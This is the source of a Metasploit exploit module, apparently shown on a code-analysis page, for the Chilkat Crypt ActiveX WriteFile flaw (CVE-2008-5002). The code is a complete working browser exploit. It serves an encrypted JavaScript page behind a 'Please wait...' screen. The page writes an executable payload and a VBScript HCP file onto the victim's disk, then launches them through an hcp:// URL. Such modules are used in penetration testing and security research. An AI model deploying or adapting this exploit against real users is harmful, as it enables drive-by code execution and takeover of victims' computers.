rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/browser/chilkat_crypt_writefile.rb

Summary

Maintainability
A
3 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',
      'Description'    => %q{
          This module allows attackers to execute code via the 'WriteFile' unsafe method of
        Chilkat Software Inc's Crypt ActiveX control.

        This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
        execute our payload immediately. However, this method requires that the victim user
        be browsing with Administrator. Additionally, this method will not work on newer
        versions of Windows.

        NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
        the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'shinnai', 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2008-5002' ],
          [ 'OSVDB', '49510' ],
          [ 'BID', '32073' ],
          [ 'EDB', '6963' ]
        ],
      'Payload'        =>
        {
          'Space'    => 2048
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-11-03'
      ))

    @javascript_encode_key = rand_text_alpha(rand(10) + 10)
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    if (!request.uri.match(/\?\w+/))
      send_local_redirect(cli, "?#{@javascript_encode_key}")
      return
    end

    # Set parameters
    fnname = rand_text_alpha(8+rand(8))
    si_name = "msinfo" # must be this, other names don't seem to work
    exe_name = rand_text_alpha(8+rand(8))
    hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"
    hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"
    exe_path = "C:\\#{exe_name}.exe"

    # Generate HCP data
    hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
<script language='vbscript'>
compatUI.RunApplication 1, "#{exe_path}", 1
</script>
|

    # (Re-)Generate the EXE payload
    return if ((p = regenerate_payload(cli)) == nil)
    exe_data = generate_payload_exe({ :code => p.encoded })

    # Encode variables
    hcp_str = Rex::Text.to_unescape(hcp_data)
    hcp_path.gsub!(/\\/, '\\\\\\\\')
    exe_str = Rex::Text.to_unescape(exe_data)
    exe_path.gsub!(/\\/, '\\\\\\\\')

    # Build the final JS
    js = %Q|
function #{fnname}()
{
var my_unescape = unescape;
var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");
var exe_path = "#{exe_path}";
var exe_str = "#{exe_str}";
var exe_data = my_unescape(exe_str);
obj.WriteFile(exe_path, exe_data);
var hcp_str = "#{hcp_str}";
var hcp_data = my_unescape(hcp_str);
var hcp_path = "#{hcp_path}";
obj.WriteFile(hcp_path, hcp_data);
window.location = "#{hcp_url}";
}
|

=begin
    # Obfuscate the javascript
    opts = {
      'Strings' => false, # didn't work in this case
      'Symbols' => {
        'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.obfuscate(memory_sensitive: true)
=end
    js = encrypt_js(js, @javascript_encode_key)

    # Build the final HTML
    content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|

    print_status("Sending #{self.name}")

    send_response_html(cli, content)

    handler(cli)

  end
end